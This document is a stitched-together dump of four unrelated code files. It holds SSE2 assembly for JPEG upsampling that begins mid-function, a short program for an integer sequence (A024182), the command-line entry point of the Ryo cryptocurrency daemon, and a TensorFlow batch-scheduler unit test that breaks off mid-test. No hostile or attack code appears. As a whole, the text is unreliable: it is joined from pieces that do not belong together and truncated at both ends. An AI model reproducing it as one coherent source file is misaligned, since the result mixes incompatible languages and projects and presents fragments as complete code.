mov [rsp],rax
mov rbp,rsp ; rbp = aligned rbp
lea rsp, [wk(0)]
collect_args
push rbx
mov eax, r11d ; colctr
test rax,rax
jz near .return
mov rcx, r10 ; rowctr
test rcx,rcx
jz near .return
mov rsi, r12 ; input_data
mov rdi, r13
mov rdi, JSAMPARRAY [rdi] ; output_data
.rowloop:
push rax ; colctr
push rcx
push rdi
push rsi
mov rcx, JSAMPROW [rsi-1*SIZEOF_JSAMPROW] ; inptr1(above)
mov rbx, JSAMPROW [rsi+0*SIZEOF_JSAMPROW] ; inptr0
mov rsi, JSAMPROW [rsi+1*SIZEOF_JSAMPROW] ; inptr1(below)
mov rdx, JSAMPROW [rdi+0*SIZEOF_JSAMPROW] ; outptr0
mov rdi, JSAMPROW [rdi+1*SIZEOF_JSAMPROW] ; outptr1
test rax, SIZEOF_XMMWORD-1
jz short .skip
push rdx
mov dl, JSAMPLE [rcx+(rax-1)*SIZEOF_JSAMPLE]
mov JSAMPLE [rcx+rax*SIZEOF_JSAMPLE], dl
mov dl, JSAMPLE [rbx+(rax-1)*SIZEOF_JSAMPLE]
mov JSAMPLE [rbx+rax*SIZEOF_JSAMPLE], dl
mov dl, JSAMPLE [rsi+(rax-1)*SIZEOF_JSAMPLE]
mov JSAMPLE [rsi+rax*SIZEOF_JSAMPLE], dl ; insert a dummy sample
pop rdx
.skip:
; -- process the first column block
movdqa xmm0, XMMWORD [rbx+0*SIZEOF_XMMWORD] ; xmm0=row[ 0][0]
movdqa xmm1, XMMWORD [rcx+0*SIZEOF_XMMWORD] ; xmm1=row[-1][0]
movdqa xmm2, XMMWORD [rsi+0*SIZEOF_XMMWORD] ; xmm2=row[+1][0]
pxor xmm3,xmm3 ; xmm3=(all 0's)
movdqa xmm4,xmm0
punpcklbw xmm0,xmm3 ; xmm0=row[ 0]( 0 1 2 3 4 5 6 7)
punpckhbw xmm4,xmm3 ; xmm4=row[ 0]( 8 9 10 11 12 13 14 15)
movdqa xmm5,xmm1
punpcklbw xmm1,xmm3 ; xmm1=row[-1]( 0 1 2 3 4 5 6 7)
punpckhbw xmm5,xmm3 ; xmm5=row[-1]( 8 9 10 11 12 13 14 15)
movdqa xmm6,xmm2
punpcklbw xmm2,xmm3 ; xmm2=row[+1]( 0 1 2 3 4 5 6 7)
punpckhbw xmm6,xmm3 ; xmm6=row[+1]( 8 9 10 11 12 13 14 15)
pmullw xmm0,[rel PW_THREE]
pmullw xmm4,[rel PW_THREE]
pcmpeqb xmm7,xmm7
psrldq xmm7,(SIZEOF_XMMWORD-2)
paddw xmm1,xmm0 ; xmm1=Int0L=( 0 1 2 3 4 5 6 7)
paddw xmm5,xmm4 ; xmm5=Int0H=( 8 9 10 11 12 13 14 15)
paddw xmm2,xmm0 ; xmm2=Int1L=( 0 1 2 3 4 5 6 7)
paddw xmm6,xmm4 ; xmm6=Int1H=( 8 9 10 11 12 13 14 15)
movdqa XMMWORD [rdx+0*SIZEOF_XMMWORD], xmm1 ; temporarily save
movdqa XMMWORD [rdx+1*SIZEOF_XMMWORD], xmm5 ; the intermediate data
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm2
movdqa XMMWORD [rdi+1*SIZEOF_XMMWORD], xmm6
pand xmm1,xmm7 ; xmm1=( 0 -- -- -- -- -- -- --)
pand xmm2,xmm7 ; xmm2=( 0 -- -- -- -- -- -- --)
movdqa XMMWORD [wk(0)], xmm1
movdqa XMMWORD [wk(1)], xmm2
add rax, byte SIZEOF_XMMWORD-1
and rax, byte -SIZEOF_XMMWORD
cmp rax, byte SIZEOF_XMMWORD
ja short .columnloop
.columnloop_last:
; -- process the last column block
pcmpeqb xmm1,xmm1
pslldq xmm1,(SIZEOF_XMMWORD-2)
movdqa xmm2,xmm1
pand xmm1, XMMWORD [rdx+1*SIZEOF_XMMWORD]
pand xmm2, XMMWORD [rdi+1*SIZEOF_XMMWORD]
movdqa XMMWORD [wk(2)], xmm1 ; xmm1=(-- -- -- -- -- -- -- 15)
movdqa XMMWORD [wk(3)], xmm2 ; xmm2=(-- -- -- -- -- -- -- 15)
jmp near .upsample
.columnloop:
; -- process the next column block
movdqa xmm0, XMMWORD [rbx+1*SIZEOF_XMMWORD] ; xmm0=row[ 0][1]
movdqa xmm1, XMMWORD [rcx+1*SIZEOF_XMMWORD] ; xmm1=row[-1][1]
movdqa xmm2, XMMWORD [rsi+1*SIZEOF_XMMWORD] ; xmm2=row[+1][1]
pxor xmm3,xmm3 ; xmm3=(all 0's)
movdqa xmm4,xmm0
punpcklbw xmm0,xmm3 ; xmm0=row[ 0]( 0 1 2 3 4 5 6 7)
punpckhbw xmm4,xmm3 ; xmm4=row[ 0]( 8 9 10 11 12 13 14 15)
movdqa xmm5,xmm1
punpcklbw xmm1,xmm3 ; xmm1=row[-1]( 0 1 2 3 4 5 6 7)
punpckhbw xmm5,xmm3 ; xmm5=row[-1]( 8 9 10 11 12 13 14 15)
movdqa xmm6,xmm2
punpcklbw xmm2,xmm3 ; xmm2=row[+1]( 0 1 2 3 4 5 6 7)
punpckhbw xmm6,xmm3 ; xmm6=row[+1]( 8 9 10 11 12 13 14 15)
pmullw xmm0,[rel PW_THREE]
pmullw xmm4,[rel PW_THREE]
paddw xmm1,xmm0 ; xmm1=Int0L=( 0 1 2 3 4 5 6 7)
paddw xmm5,xmm4 ; xmm5=Int0H=( 8 9 10 11 12 13 14 15)
paddw xmm2,xmm0 ; xmm2=Int1L=( 0 1 2 3 4 5 6 7)
paddw xmm6,xmm4 ; xmm6=Int1H=( 8 9 10 11 12 13 14 15)
movdqa XMMWORD [rdx+2*SIZEOF_XMMWORD], xmm1 ; temporarily save
movdqa XMMWORD [rdx+3*SIZEOF_XMMWORD], xmm5 ; the intermediate data
movdqa XMMWORD [rdi+2*SIZEOF_XMMWORD], xmm2
movdqa XMMWORD [rdi+3*SIZEOF_XMMWORD], xmm6
pslldq xmm1,(SIZEOF_XMMWORD-2) ; xmm1=(-- -- -- -- -- -- -- 0)
pslldq xmm2,(SIZEOF_XMMWORD-2) ; xmm2=(-- -- -- -- -- -- -- 0)
movdqa XMMWORD [wk(2)], xmm1
movdqa XMMWORD [wk(3)], xmm2
.upsample:
; -- process the upper row
movdqa xmm7, XMMWORD [rdx+0*SIZEOF_XMMWORD]
movdqa xmm3, XMMWORD [rdx+1*SIZEOF_XMMWORD]
movdqa xmm0,xmm7 ; xmm7=Int0L=( 0 1 2 3 4 5 6 7)
movdqa xmm4,xmm3 ; xmm3=Int0H=( 8 9 10 11 12 13 14 15)
psrldq xmm0,2 ; xmm0=( 1 2 3 4 5 6 7 --)
pslldq xmm4,(SIZEOF_XMMWORD-2) ; xmm4=(-- -- -- -- -- -- -- 8)
movdqa xmm5,xmm7
movdqa xmm6,xmm3
psrldq xmm5,(SIZEOF_XMMWORD-2) ; xmm5=( 7 -- -- -- -- -- -- --)
pslldq xmm6,2 ; xmm6=(-- 8 9 10 11 12 13 14)
por xmm0,xmm4 ; xmm0=( 1 2 3 4 5 6 7 8)
por xmm5,xmm6 ; xmm5=( 7 8 9 10 11 12 13 14)
movdqa xmm1,xmm7
movdqa xmm2,xmm3
pslldq xmm1,2 ; xmm1=(-- 0 1 2 3 4 5 6)
psrldq xmm2,2 ; xmm2=( 9 10 11 12 13 14 15 --)
movdqa xmm4,xmm3
psrldq xmm4,(SIZEOF_XMMWORD-2) ; xmm4=(15 -- -- -- -- -- -- --)
por xmm1, XMMWORD [wk(0)] ; xmm1=(-1 0 1 2 3 4 5 6)
por xmm2, XMMWORD [wk(2)] ; xmm2=( 9 10 11 12 13 14 15 16)
movdqa XMMWORD [wk(0)], xmm4
pmullw xmm7,[rel PW_THREE]
pmullw xmm3,[rel PW_THREE]
paddw xmm1,[rel PW_EIGHT]
paddw xmm5,[rel PW_EIGHT]
paddw xmm0,[rel PW_SEVEN]
paddw xmm2,[rel PW_SEVEN]
paddw xmm1,xmm7
paddw xmm5,xmm3
psrlw xmm1,4 ; xmm1=Out0LE=( 0 2 4 6 8 10 12 14)
psrlw xmm5,4 ; xmm5=Out0HE=(16 18 20 22 24 26 28 30)
paddw xmm0,xmm7
paddw xmm2,xmm3
psrlw xmm0,4 ; xmm0=Out0LO=( 1 3 5 7 9 11 13 15)
psrlw xmm2,4 ; xmm2=Out0HO=(17 19 21 23 25 27 29 31)
psllw xmm0,BYTE_BIT
psllw xmm2,BYTE_BIT
por xmm1,xmm0 ; xmm1=Out0L=( 0 1 2 ... 13 14 15)
por xmm5,xmm2 ; xmm5=Out0H=(16 17 18 ... 29 30 31)
movdqa XMMWORD [rdx+0*SIZEOF_XMMWORD], xmm1
movdqa XMMWORD [rdx+1*SIZEOF_XMMWORD], xmm5
; -- process the lower row
movdqa xmm6, XMMWORD [rdi+0*SIZEOF_XMMWORD]
movdqa xmm4, XMMWORD [rdi+1*SIZEOF_XMMWORD]
movdqa xmm7,xmm6 ; xmm6=Int1L=( 0 1 2 3 4 5 6 7)
movdqa xmm3,xmm4 ; xmm4=Int1H=( 8 9 10 11 12 13 14 15)
psrldq xmm7,2 ; xmm7=( 1 2 3 4 5 6 7 --)
pslldq xmm3,(SIZEOF_XMMWORD-2) ; xmm3=(-- -- -- -- -- -- -- 8)
movdqa xmm0,xmm6
movdqa xmm2,xmm4
psrldq xmm0,(SIZEOF_XMMWORD-2) ; xmm0=( 7 -- -- -- -- -- -- --)
pslldq xmm2,2 ; xmm2=(-- 8 9 10 11 12 13 14)
por xmm7,xmm3 ; xmm7=( 1 2 3 4 5 6 7 8)
por xmm0,xmm2 ; xmm0=( 7 8 9 10 11 12 13 14)
movdqa xmm1,xmm6
movdqa xmm5,xmm4
pslldq xmm1,2 ; xmm1=(-- 0 1 2 3 4 5 6)
psrldq xmm5,2 ; xmm5=( 9 10 11 12 13 14 15 --)
movdqa xmm3,xmm4
psrldq xmm3,(SIZEOF_XMMWORD-2) ; xmm3=(15 -- -- -- -- -- -- --)
por xmm1, XMMWORD [wk(1)] ; xmm1=(-1 0 1 2 3 4 5 6)
por xmm5, XMMWORD [wk(3)] ; xmm5=( 9 10 11 12 13 14 15 16)
movdqa XMMWORD [wk(1)], xmm3
pmullw xmm6,[rel PW_THREE]
pmullw xmm4,[rel PW_THREE]
paddw xmm1,[rel PW_EIGHT]
paddw xmm0,[rel PW_EIGHT]
paddw xmm7,[rel PW_SEVEN]
paddw xmm5,[rel PW_SEVEN]
paddw xmm1,xmm6
paddw xmm0,xmm4
psrlw xmm1,4 ; xmm1=Out1LE=( 0 2 4 6 8 10 12 14)
psrlw xmm0,4 ; xmm0=Out1HE=(16 18 20 22 24 26 28 30)
paddw xmm7,xmm6
paddw xmm5,xmm4
psrlw xmm7,4 ; xmm7=Out1LO=( 1 3 5 7 9 11 13 15)
psrlw xmm5,4 ; xmm5=Out1HO=(17 19 21 23 25 27 29 31)
psllw xmm7,BYTE_BIT
psllw xmm5,BYTE_BIT
por xmm1,xmm7 ; xmm1=Out1L=( 0 1 2 ... 13 14 15)
por xmm0,xmm5 ; xmm0=Out1H=(16 17 18 ... 29 30 31)
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm1
movdqa XMMWORD [rdi+1*SIZEOF_XMMWORD], xmm0
sub rax, byte SIZEOF_XMMWORD
add rcx, byte 1*SIZEOF_XMMWORD ; inptr1(above)
add rbx, byte 1*SIZEOF_XMMWORD ; inptr0
add rsi, byte 1*SIZEOF_XMMWORD ; inptr1(below)
add rdx, byte 2*SIZEOF_XMMWORD ; outptr0
add rdi, byte 2*SIZEOF_XMMWORD ; outptr1
cmp rax, byte SIZEOF_XMMWORD
ja near .columnloop
test rax,rax
jnz near .columnloop_last
pop rsi
pop rdi
pop rcx
pop rax
add rsi, byte 1*SIZEOF_JSAMPROW ; input_data
add rdi, byte 2*SIZEOF_JSAMPROW ; output_data
sub rcx, byte 2 ; rowctr
jg near .rowloop
.return:
pop rbx
uncollect_args
mov rsp,rbp ; rsp <- aligned rbp
pop rsp ; rsp <- original rbp
pop rbp
ret
; --------------------------------------------------------------------------
;
; Fast processing for the common case of 2:1 horizontal and 1:1 vertical.
; It's still a box filter.
;
; GLOBAL(void)
; jsimd_h2v1_upsample_sse2 (int max_v_samp_factor,
; JDIMENSION output_width,
; JSAMPARRAY input_data,
; JSAMPARRAY *output_data_ptr);
;
; r10 = int max_v_samp_factor
; r11 = JDIMENSION output_width
; r12 = JSAMPARRAY input_data
; r13 = JSAMPARRAY *output_data_ptr
align 16
global EXTN(jsimd_h2v1_upsample_sse2)
EXTN(jsimd_h2v1_upsample_sse2):
push rbp
mov rax,rsp
mov rbp,rsp
collect_args
mov edx, r11d
add rdx, byte (2*SIZEOF_XMMWORD)-1
and rdx, byte -(2*SIZEOF_XMMWORD)
jz near .return
mov rcx, r10 ; rowctr
test rcx,rcx
jz short .return
mov rsi, r12 ; input_data
mov rdi, r13
mov rdi, JSAMPARRAY [rdi] ; output_data
.rowloop:
push rdi
push rsi
mov rsi, JSAMPROW [rsi] ; inptr
mov rdi, JSAMPROW [rdi] ; outptr
mov rax,rdx ; colctr
.columnloop:
movdqa xmm0, XMMWORD [rsi+0*SIZEOF_XMMWORD]
movdqa xmm1,xmm0
punpcklbw xmm0,xmm0
punpckhbw xmm1,xmm1
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm0
movdqa XMMWORD [rdi+1*SIZEOF_XMMWORD], xmm1
sub rax, byte 2*SIZEOF_XMMWORD
jz short .nextrow
movdqa xmm2, XMMWORD [rsi+1*SIZEOF_XMMWORD]
movdqa xmm3,xmm2
punpcklbw xmm2,xmm2
punpckhbw xmm3,xmm3
movdqa XMMWORD [rdi+2*SIZEOF_XMMWORD], xmm2
movdqa XMMWORD [rdi+3*SIZEOF_XMMWORD], xmm3
sub rax, byte 2*SIZEOF_XMMWORD
jz short .nextrow
add rsi, byte 2*SIZEOF_XMMWORD ; inptr
add rdi, byte 4*SIZEOF_XMMWORD ; outptr
jmp short .columnloop
.nextrow:
pop rsi
pop rdi
add rsi, byte SIZEOF_JSAMPROW ; input_data
add rdi, byte SIZEOF_JSAMPROW ; output_data
dec rcx ; rowctr
jg short .rowloop
.return:
uncollect_args
pop rbp
ret
; --------------------------------------------------------------------------
;
; Fast processing for the common case of 2:1 horizontal and 2:1 vertical.
; It's still a box filter.
;
; GLOBAL(void)
; jsimd_h2v2_upsample_sse2 (nt max_v_samp_factor,
; JDIMENSION output_width,
; JSAMPARRAY input_data,
; JSAMPARRAY *output_data_ptr);
;
; r10 = int max_v_samp_factor
; r11 = JDIMENSION output_width
; r12 = JSAMPARRAY input_data
; r13 = JSAMPARRAY *output_data_ptr
align 16
global EXTN(jsimd_h2v2_upsample_sse2)
EXTN(jsimd_h2v2_upsample_sse2):
push rbp
mov rax,rsp
mov rbp,rsp
collect_args
push rbx
mov edx, r11d
add rdx, byte (2*SIZEOF_XMMWORD)-1
and rdx, byte -(2*SIZEOF_XMMWORD)
jz near .return
mov rcx, r10 ; rowctr
test rcx,rcx
jz near .return
mov rsi, r12 ; input_data
mov rdi, r13
mov rdi, JSAMPARRAY [rdi] ; output_data
.rowloop:
push rdi
push rsi
mov rsi, JSAMPROW [rsi] ; inptr
mov rbx, JSAMPROW [rdi+0*SIZEOF_JSAMPROW] ; outptr0
mov rdi, JSAMPROW [rdi+1*SIZEOF_JSAMPROW] ; outptr1
mov rax,rdx ; colctr
.columnloop:
movdqa xmm0, XMMWORD [rsi+0*SIZEOF_XMMWORD]
movdqa xmm1,xmm0
punpcklbw xmm0,xmm0
punpckhbw xmm1,xmm1
movdqa XMMWORD [rbx+0*SIZEOF_XMMWORD], xmm0
movdqa XMMWORD [rbx+1*SIZEOF_XMMWORD], xmm1
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm0
movdqa XMMWORD [rdi+1*SIZEOF_XMMWORD], xmm1
sub rax, byte 2*SIZEOF_XMMWORD
jz short .nextrow
movdqa xmm2, XMMWORD [rsi+1*SIZEOF_XMMWORD]
movdqa xmm3,xmm2
punpcklbw xmm2,xmm2
punpckhbw xmm3,xmm3
movdqa XMMWORD [rbx+2*SIZEOF_XMMWORD], xmm2
movdqa XMMWORD [rbx+3*SIZEOF_XMMWORD], xmm3
movdqa XMMWORD [rdi+2*SIZEOF_XMMWORD], xmm2
movdqa XMMWORD [rdi+3*SIZEOF_XMMWORD], xmm3
sub rax, byte 2*SIZEOF_XMMWORD
jz short .nextrow
add rsi, byte 2*SIZEOF_XMMWORD ; inptr
add rbx, byte 4*SIZEOF_XMMWORD ; outptr0
add rdi, byte 4*SIZEOF_XMMWORD ; outptr1
jmp short .columnloop
.nextrow:
pop rsi
pop rdi
add rsi, byte 1*SIZEOF_JSAMPROW ; input_data
add rdi, byte 2*SIZEOF_JSAMPROW ; output_data
sub rcx, byte 2 ; rowctr
jg near .rowloop
.return:
pop rbx
uncollect_args
pop rbp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
|
; A024182: Integer part of ((4th elementary symmetric function of 2,3,...,n+4)/(3rd elementary symmetric function of 2,3,...,n+4)).
; 0,1,3,4,6,8,10,13,15,18,22,25,29,33,37,42,46,51,57,62,68,74,80,87,93,100,108,115,123,131,139,148,156,165,175,184,194,204,214,225,235,246,258,269,281,293,305,318,330,343,357,370,384,398,412,427,441,456,472,487,503,519,535,552,568,585,603,620,638,656,674,693,711,730,750,769,789,809,829,850,870,891,913,934,956,978,1000,1023,1045,1068,1092,1115,1139,1163,1187,1212,1236,1261,1287,1312
add $0,4
bin $0,2
sub $0,3
div $0,4
|
// Copyright (c) 2019, Ryo Currency Project
// Portions copyright (c) 2014-2018, The Monero Project
//
// Portions of this file are available under BSD-3 license. Please see ORIGINAL-LICENSE for details
// All rights reserved.
//
// Authors and copyright holders give permission for following:
//
// 1. Redistribution and use in source and binary forms WITHOUT modification.
//
// 2. Modification of the source form for your own personal use.
//
// As long as the following conditions are met:
//
// 3. You must not distribute modified copies of the work to third parties. This includes
// posting the work online, or hosting copies of the modified work for download.
//
// 4. Any derivative version of this work is also covered by this license, including point 8.
//
// 5. Neither the name of the copyright holders nor the names of the authors may be
// used to endorse or promote products derived from this software without specific
// prior written permission.
//
// 6. You agree that this licence is governed by and shall be construed in accordance
// with the laws of England and Wales.
//
// 7. You agree to submit all disputes arising out of or in connection with this licence
// to the exclusive jurisdiction of the Courts of England and Wales.
//
// Authors and copyright holders agree that:
//
// 8. This licence expires and the work covered by it is released into the
// public domain on 1st of February 2020
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Parts of this file are originally copyright (c) 2012-2013 The Cryptonote developers
#include "blockchain_db/db_types.h"
#include "common/command_line.h"
#include "common/password.h"
#include "common/scoped_message_writer.h"
#include "common/util.h"
#include "cryptonote_basic/miner.h"
#include "cryptonote_core/cryptonote_core.h"
#include "daemon/command_line_args.h"
#include "daemon/command_server.h"
#include "daemon/daemon.h"
#include "daemon/executor.h"
#include "daemonizer/daemonizer.h"
#include "misc_log_ex.h"
#include "p2p/net_node.h"
#include "rpc/core_rpc_server.h"
#include "rpc/rpc_args.h"
#include "version.h"
#ifdef STACK_TRACE
#include "common/stack_trace.h"
#endif // STACK_TRACE
//#undef RYO_DEFAULT_LOG_CATEGORY
//#define RYO_DEFAULT_LOG_CATEGORY "daemon"
namespace po = boost::program_options;
namespace bf = boost::filesystem;
int main(int argc, char* argv[])
{
#ifdef WIN32
std::vector<char*> argptrs;
command_line::set_console_utf8();
if(command_line::get_windows_args(argptrs))
{
argc = argptrs.size();
argv = argptrs.data();
}
#endif
try
{
// TODO parse the debug options like set log level right here at start
tools::on_startup();
epee::string_tools::set_module_name_and_folder(argv[0]);
// Build argument description
po::options_description all_options("All");
po::options_description hidden_options("Hidden");
po::options_description visible_options("Options");
po::options_description core_settings("Settings");
po::positional_options_description positional_options;
{
// Misc Options
command_line::add_arg(visible_options, command_line::arg_help);
command_line::add_arg(visible_options, command_line::arg_version);
command_line::add_arg(visible_options, daemon_args::arg_os_version);
command_line::add_arg(visible_options, daemon_args::arg_config_file);
// Settings
command_line::add_arg(core_settings, daemon_args::arg_log_file);
command_line::add_arg(core_settings, daemon_args::arg_log_level);
command_line::add_arg(core_settings, daemon_args::arg_max_log_file_size);
command_line::add_arg(core_settings, daemon_args::arg_max_concurrency);
command_line::add_arg(core_settings, daemon_args::arg_zmq_rpc_bind_ip);
command_line::add_arg(core_settings, daemon_args::arg_zmq_rpc_bind_port);
daemonizer::init_options(hidden_options, visible_options);
daemonize::t_executor::init_options(core_settings);
// Hidden options
command_line::add_arg(hidden_options, daemon_args::arg_command);
visible_options.add(core_settings);
all_options.add(visible_options);
all_options.add(hidden_options);
// Positional
positional_options.add(daemon_args::arg_command.name, -1); // -1 for unlimited arguments
}
// Do command line parsing
po::variables_map vm;
bool ok = command_line::handle_error_helper(visible_options, [&]() {
boost::program_options::store(
boost::program_options::command_line_parser(argc, argv)
.options(all_options)
.positional(positional_options)
.run(),
vm);
return true;
});
if(!ok)
return 1;
if(command_line::get_arg(vm, command_line::arg_help))
{
std::cout << "Ryo '" << RYO_RELEASE_NAME << "' (" << RYO_VERSION_FULL << ")" << ENDL << ENDL;
std::cout << "Usage: " + std::string{argv[0]} + " [options|settings] [daemon_command...]" << std::endl
<< std::endl;
std::cout << visible_options << std::endl;
return 0;
}
// Monero Version
if(command_line::get_arg(vm, command_line::arg_version))
{
std::cout << "Ryo '" << RYO_RELEASE_NAME << "' (" << RYO_VERSION_FULL << ")" << ENDL;
return 0;
}
// OS
if(command_line::get_arg(vm, daemon_args::arg_os_version))
{
std::cout << "OS: " << tools::get_os_version_string() << ENDL;
return 0;
}
std::string config = command_line::get_arg(vm, daemon_args::arg_config_file);
boost::filesystem::path config_path(config);
boost::system::error_code ec;
if(bf::exists(config_path, ec))
{
try
{
po::store(po::parse_config_file<char>(config_path.string<std::string>().c_str(), core_settings), vm);
}
catch(const std::exception &e)
{
// log system isn't initialized yet
std::cerr << "Error parsing config file: " << e.what() << std::endl;
throw;
}
}
else if(!command_line::is_arg_defaulted(vm, daemon_args::arg_config_file))
{
std::cerr << "Can't find config file " << config << std::endl;
return 1;
}
const bool testnet = command_line::get_arg(vm, cryptonote::arg_testnet_on);
const bool stagenet = command_line::get_arg(vm, cryptonote::arg_stagenet_on);
if(testnet && stagenet)
{
std::cerr << "Can't specify more than one of --tesnet and --stagenet" << ENDL;
return 1;
}
std::string db_type = command_line::get_arg(vm, cryptonote::arg_db_type);
// verify that blockchaindb type is valid
if(!cryptonote::blockchain_valid_db_type(db_type))
{
std::cout << "Invalid database type (" << db_type << "), available types are: " << cryptonote::blockchain_db_types(", ") << std::endl;
return 0;
}
// data_dir
// if data-dir argument given:
// absolute path
// relative path: relative to cwd
// Create data dir if it doesn't exist
boost::filesystem::path data_dir = boost::filesystem::absolute(
command_line::get_arg(vm, cryptonote::arg_data_dir));
// FIXME: not sure on windows implementation default, needs further review
//bf::path relative_path_base = daemonizer::get_relative_path_base(vm);
bf::path relative_path_base = data_dir;
po::notify(vm);
// log_file_path
// default: <data_dir>/<CRYPTONOTE_NAME>.log
// if log-file argument given:
// absolute path
// relative path: relative to data_dir
bf::path log_file_path{data_dir / std::string(CRYPTONOTE_NAME ".log")};
if(!command_line::is_arg_defaulted(vm, daemon_args::arg_log_file))
log_file_path = command_line::get_arg(vm, daemon_args::arg_log_file);
log_file_path = bf::absolute(log_file_path, relative_path_base);
mlog_configure(log_file_path.string(), true, command_line::get_arg(vm, daemon_args::arg_max_log_file_size));
// Set log level
if(!command_line::is_arg_defaulted(vm, daemon_args::arg_log_level))
{
mlog_set_log(command_line::get_arg(vm, daemon_args::arg_log_level).c_str());
}
// after logs initialized
tools::create_directories_if_necessary(data_dir.string());
// If there are positional options, we're running a daemon command
{
auto command = command_line::get_arg(vm, daemon_args::arg_command);
if(command.size())
{
const cryptonote::rpc_args::descriptors arg{};
auto rpc_ip_str = command_line::get_arg(vm, arg.rpc_bind_ip);
auto rpc_port_str = command_line::get_arg(vm, cryptonote::core_rpc_server::arg_rpc_bind_port);
uint32_t rpc_ip;
uint16_t rpc_port;
if(!epee::string_tools::get_ip_int32_from_string(rpc_ip, rpc_ip_str))
{
std::cerr << "Invalid IP: " << rpc_ip_str << std::endl;
return 1;
}
if(!epee::string_tools::get_xtype_from_string(rpc_port, rpc_port_str))
{
std::cerr << "Invalid port: " << rpc_port_str << std::endl;
return 1;
}
boost::optional<tools::login> login{};
if(command_line::has_arg(vm, arg.rpc_login))
{
login = tools::login::parse(
command_line::get_arg(vm, arg.rpc_login), false, [](bool verify) {
#ifdef HAVE_READLINE
rdln::suspend_readline pause_readline;
#endif
return tools::password_container::prompt(verify, "Daemon client password");
});
if(!login)
{
std::cerr << "Failed to obtain password" << std::endl;
return 1;
}
}
daemonize::t_command_server rpc_commands{rpc_ip, rpc_port, std::move(login)};
if(rpc_commands.process_command_vec(command))
{
return 0;
}
else
{
std::cerr << "Unknown command: " << command.front() << std::endl;
return 1;
}
}
}
#ifdef STACK_TRACE
tools::set_stack_trace_log(log_file_path.filename().string());
#endif // STACK_TRACE
if(!command_line::is_arg_defaulted(vm, daemon_args::arg_max_concurrency))
tools::set_max_concurrency(command_line::get_arg(vm, daemon_args::arg_max_concurrency));
// logging is now set up
MGINFO("Ryo '" << RYO_RELEASE_NAME << "' (" << RYO_VERSION_FULL << ")");
MINFO("Moving from main() into the daemonize now.");
return daemonizer::daemonize(argc, argv, daemonize::t_executor{}, vm) ? 0 : 1;
}
catch(std::exception const &ex)
{
LOG_ERROR("Exception in main! " << ex.what());
}
catch(...)
{
LOG_ERROR("Exception in main!");
}
return 1;
}
|
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/kernels/batching_util/adaptive_shared_batch_scheduler.h"
#include "tensorflow/core/kernels/batching_util/fake_clock_env.h"
#include "tensorflow/core/lib/core/notification.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/lib/gtl/cleanup.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/test.h"
namespace tensorflow {
namespace serving {
namespace anonymous {
class FakeTask : public BatchTask {
public:
explicit FakeTask(size_t size) : size_(size) {}
~FakeTask() override = default;
size_t size() const override { return size_; }
void set_size(size_t size) { size_ = size; }
private:
size_t size_;
TF_DISALLOW_COPY_AND_ASSIGN(FakeTask);
};
// Creates a FakeTask of size 'task_size', and calls 'scheduler->Schedule()' on
// that task. Returns the resulting status.
Status ScheduleTask(size_t task_size, BatchScheduler<FakeTask>* scheduler) {
std::unique_ptr<FakeTask> task(new FakeTask(task_size));
Status status = scheduler->Schedule(&task);
// Schedule() should have consumed 'task' iff it returned Status::OK.
CHECK_EQ(status.ok(), task == nullptr);
return status;
}
// Creates a thread that waits on 'start' and then advances the fake clock in
// 'env' in a loop until 'stop' is notified. Useful for allowing objects that
// use the clock to be destroyed.
std::unique_ptr<Thread> CreateFakeClockAdvancerThread(
test_util::FakeClockEnv* env, Notification* start, Notification* stop) {
return std::unique_ptr<Thread>(Env::Default()->StartThread(
{}, "FakeClockAdvancerThread", [env, start, stop] {
start->WaitForNotification();
while (!stop->HasBeenNotified()) {
env->AdvanceByMicroseconds(10);
Env::Default()->SleepForMicroseconds(10);
}
}));
}
TEST(AdaptiveSharedBatchSchedulerTest, BadOptions) {
using Scheduler = AdaptiveSharedBatchScheduler<FakeTask>;
std::shared_ptr<Scheduler> scheduler;
Scheduler::Options options;
options.num_batch_threads = 0;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
options = Scheduler::Options();
options.initial_in_flight_batches_limit = 0.5;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
options = Scheduler::Options();
options.num_batch_threads = 5;
options.initial_in_flight_batches_limit = 8;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
options = Scheduler::Options();
options.batches_to_average_over = -5;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
options = Scheduler::Options();
options.min_in_flight_batches_limit = 0;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
options = Scheduler::Options();
options.min_in_flight_batches_limit = 5;
options.num_batch_threads = 3;
EXPECT_FALSE(Scheduler::Create(options, &scheduler).ok());
options = Scheduler::Options();
options.initial_in_flight_batches_limit = 1;
